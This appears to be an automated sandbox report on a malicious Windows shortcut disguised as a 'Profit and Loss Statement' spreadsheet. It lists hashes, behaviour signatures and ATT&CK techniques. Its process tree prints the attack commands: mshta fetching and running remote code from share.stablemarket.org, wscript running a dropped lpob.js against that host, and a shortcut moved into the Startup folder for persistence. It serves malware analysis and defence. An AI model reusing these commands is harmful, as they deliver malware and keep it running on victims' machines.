Overview

overview

10

Static

static

Profit and...sx.lnk

windows7_x64

8

Profit and...sx.lnk

windows10_x64

10

Analysis

  • max time kernel
    152s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    04-11-2021 11:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Profit and Loss Statement.xlsx.lnk

  • Size

    2KB

  • MD5

    8b9fee7600633e4017337d5b56613a59

  • SHA1

    cab6dcec5bd77f8e59b1caa330ad58f0f8280f39

  • SHA256

    0b8d7a851920d4584777505f9fb484b226a8457d4049885a87c847f7d3532d28

  • SHA512

    8b520bc99fcc74ba1424dd283106633b35d353b75a42c89963feac2ceebf9bafd9081be1f5dc3f1ebeeb9b8d5dc79d81d596089c06178d4b1295edd4ac3ed55a

Score
10/10
googlephishing

Malware Config

Signatures

  • Detected google phishing page
    phishinggoogle
  • Blocklisted process makes network request 24 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Script User-Agent 18 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Profit and Loss Statement.xlsx.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4244
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://share.stablemarket.org/AUeSdfDyTf7kMvSGKlVh8K9Z1FjBuP9bJrv/Zqtwi+g=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4060
      • C:\Windows\System32\mshta.exe
        C:\Windows\System32\mshta https://share.stablemarket.org/AUeSdfDyTf7kMvSGKlVh8K9Z1FjBuP9bJrv/Zqtwi+g=
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:8
        • C:\Windows\explorer.exe
          "C:\Windows\explorer.exe" "https://docs.google.com/spreadsheets/d/1CTWarBPpx6kQjpevxr7qeQGPenjAR_7H/edit?usp=sharing&ouid=118006626630144401406&rtpof=true&sd=true"
          4⤵
            PID:4636
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c start /b wscript "C:\Users\Admin\AppData\Local\Temp\lpob.js" share.stablemarket.org/ 1 & start /b wscript "C:\Users\Admin\AppData\Local\Temp\lpob.js" share.stablemarket.org/ 2 & move "C:\Users\Admin\AppData\Local\Temp\UserAssist.lnk" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3908
            • C:\Windows\system32\wscript.exe
              wscript "C:\Users\Admin\AppData\Local\Temp\lpob.js" share.stablemarket.org/ 1
              5⤵
              • Blocklisted process makes network request
              PID:416
            • C:\Windows\system32\wscript.exe
              wscript "C:\Users\Admin\AppData\Local\Temp\lpob.js" share.stablemarket.org/ 2
              5⤵
              • Blocklisted process makes network request
              • Modifies system certificate store
              PID:1052
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
        PID:4508
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
        1⤵
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1980
      • C:\Windows\system32\browser_broker.exe
        C:\Windows\system32\browser_broker.exe -Embedding
        1⤵
        • Modifies Internet Explorer settings
        PID:2260
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1164
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:2360
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3112
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
          PID:3192
        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
          1⤵
          • Modifies registry class
          PID:3920

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Initial Access

        Execution

        Persistence

        Privilege Escalation

        Defense Evasion

        Modify Registry

        2
        T1112

        Install Root Certificate

        1
        T1130

        Credential Access

        Discovery

        System Information Discovery

        1
        T1082

        Lateral Movement

        Collection

        Exfiltration

        Command and Control

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\UserAssist.lnk
          MD5

          423cae357b41e95ff024d9d742a44e04

          SHA1

          692ec5a24b6fa3c1f724cfb56c242b2ea1996248

          SHA256

          bf3335dfb910bbb01ce8c56f138a9bfb7598e7a57b2e6ee420ae3ec6e7f66e98

          SHA512

          c26dfc171843519fc82c327d37a489fb493da2e6fc8b42429f184fc059471ded3698d383aea29ebab02d3ff16b08aba042d7892cc1c9cf3246a55fdfaf1d3984

          Download Submit
        • C:\Users\Admin\AppData\Local\Temp\lpob.js
          MD5

          0465f48d3e05ab31c5225b0c5e3e2368

          SHA1

          71a9bac9a13f9ea82d525bcf8285d1179a0f53e7

          SHA256

          0b9c8953230ebdfbbf68432cee750737b520224116fd1bca806005d135ec8c26

          SHA512

          2b510a88bbf3cd4a58a8d3e7136050848492cec9e8eb9fa58b3d53c4a34221f6c1c5ab0ace7a5734ffecc55c357273e64f4872cb51c7a098a883530b2b190204

          Download Submit
        • memory/8-116-0x0000000000000000-mapping.dmp
          Download
        • memory/8-117-0x0000029EF5A58000-0x0000029EF5A60000-memory.dmp
          Filesize

          32KB

          Download
        • memory/416-120-0x0000000000000000-mapping.dmp
          Download
        • memory/1052-121-0x0000000000000000-mapping.dmp
          Download
        • memory/3908-119-0x0000000000000000-mapping.dmp
          Download
        • memory/4060-115-0x0000000000000000-mapping.dmp
          Download
        • memory/4636-118-0x0000000000000000-mapping.dmp
          Download